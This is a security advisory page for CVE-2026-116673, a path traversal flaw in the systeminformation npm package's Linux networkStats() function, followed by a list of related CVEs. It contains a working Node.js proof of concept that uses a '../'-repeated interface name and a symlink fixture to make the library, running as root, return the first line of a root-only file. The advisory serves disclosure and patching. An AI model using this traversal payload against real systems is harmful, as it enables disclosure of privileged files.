CVE-2026-116673: systeminformation has path traversal in Linux networkStats() that allows symlink-based file disclosure outside /sys/class/net
Summary On Linux, [email protected] builds /sys/class/net/ paths from the caller-supplied networkStats(iface) value without checking that the resolved path stays inside /sys/class/net. A caller who can create a symlink fixture and control the value passed to this API can make the function return the first line of a file readable by the Node process.
Published Oct 28, 2026
Affected packages
systeminformation
- Ecosystem
- npm
- Affected
- < 5.33.14
- Fixed in
- 5.33.14
- Check
npm ls systeminformation
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
On Linux, [email protected] builds /sys/class/net/<iface> paths from the caller-supplied networkStats(iface) value without checking that the resolved path stays inside /sys/class/net. A caller who can create a symlink fixture and control the value passed to this API can make the function return the first line of a file readable by the Node process.
Details
The strict string sanitizer removes shell metacharacters but retains / and .. The Linux implementation uses this value in an fs.existsSync('/sys/class/net/' + iface) check and then in seven cat paths for interface statistics. Both operations follow .. path components and symlinks. The code does not validate the value as an interface name or enforce resolved-path containment.
The proof of concept below creates the expected statistics files in a directory writable by the unprivileged nobody user. Its operstate symlink points to a synthetic mode-0600 file under /root. The package call runs as root and returns the marker even though nobody cannot read that file.
PoC
Use a disposable Ubuntu Linux VM with Node.js, npm, and runuser installed. These steps create and remove only a synthetic marker and a temporary fixture. Install the affected version:
mkdir si-netstats-repro
cd si-netstats-repro
npm init -y
npm install [email protected]Save the following as poc.cjs in that directory, then run sudo node poc.cjs:
'use strict';
const fs = require('node:fs');
const { execFileSync } = require('node:child_process');
const si = require('systeminformation');
const root = `/tmp/si-netstats-${process.pid}`;
const secret = `/root/si-netstats-secret-${process.pid}`;
const marker = `SYNTHETIC_ROOT_ONLY_MARKER_${process.pid}`;
const fixtureCode = `
const fs = require('node:fs');
const root = process.env.SI_FIXTURE_ROOT;
const secret = process.env.SI_SECRET;
fs.mkdirSync(root + '/statistics', { recursive: true });
for (const name of ['rx_bytes', 'tx_bytes', 'rx_dropped', 'rx_errors', 'tx_dropped', 'tx_errors']) {
fs.writeFileSync(root + '/statistics/' + name, '0\\n');
}
fs.symlinkSync(secret, root + '/operstate');
`;
(async () => {
try {
fs.writeFileSync(secret, marker + '\\n', { mode: 0o600 });
fs.chmodSync(secret, 0o600);
execFileSync('runuser', [
'-u', 'nobody', '--', 'env',
`SI_FIXTURE_ROOT=${root}`,
`SI_SECRET=${secret}`,
process.execPath, '-e', fixtureCode
], { stdio: 'inherit' });
let nobodyCouldRead = true;
try {
execFileSync('runuser', ['-u', 'nobody', '--', 'cat', secret], { stdio: 'ignore' });
} catch {
nobodyCouldRead = false;
}
if (nobodyCouldRead) throw new Error('negative control failed: nobody read the marker');
const iface = '../'.repeat(24) + root.slice(1);
const rows = await si.networkStats(iface);
const returned = String(rows[0]?.operstate ?? '').trim();
const success = returned === marker;
console.log(JSON.stringify({
nobodyCouldRead,
libraryReturnedRootOnlyMarker: success,
returnedOperstate: returned
}, null, 2));
if (!success) process.exitCode = 1;
} finally {
fs.rmSync(root, { recursive: true, force: true });
fs.rmSync(secret, { force: true });
}
})().catch((error) => {
console.error(error);
process.exitCode = 1;
});Expected result:
{
"nobodyCouldRead": false,
"libraryReturnedRootOnlyMarker": true,
"returnedOperstate": "SYNTHETIC_ROOT_ONLY_MARKER_<pid>"
}Impact
The demonstrated impact is disclosure to the API caller of the first line of a file readable by the Node process. The package is a library and does not expose a network endpoint. A consuming application route that forwards remote attacker input to this API and returns its result was not established, so remote exploitability is not demonstrated.
Credited to itsFM-Codes.
References
- https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-4vjg-vx72-qq4g
- https://nvd.nist.gov/vuln/detail/CVE-2026-116673
- https://github.com/sebhildebrandt/systeminformation/commit/8d294b3139fec654a912969ac898037578a218cd
- https://github.com/sebhildebrandt/systeminformation/releases/tag/v5.33.14
- https://github.com/advisories/GHSA-4vjg-vx72-qq4g
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More npm vulnerabilities
All npm entriesCVE-2026-116576
systeminformation vulnerable to Windows command injection in services() through Unicode quotation marks
high7.8Oct 28, 2026CVE-2026-116674
systeminformation has prototype pollution in `networkStats()` via the interface name
medium6.5Oct 28, 2026CVE-2026-50289
systeminformation: OS command injection in networkInterfaces() via interfaces(5) source-directive path on Linux
high8.7Jul 15, 2026CVE-2026-44724
Systeminformation vulnerable to Linux command injection in networkInterfaces() via unsanitized NetworkManager connection profile name
high7.8May 13, 2026CVE-2026-26280
Systeminformation has a Command Injection via unsanitized interface parameter in wifi.js retry path
high8.4Feb 18, 2026CVE-2026-26318
Command Injection via Unsanitized `locate` Output in `versions()` — systeminformation
high8.8Feb 18, 2026
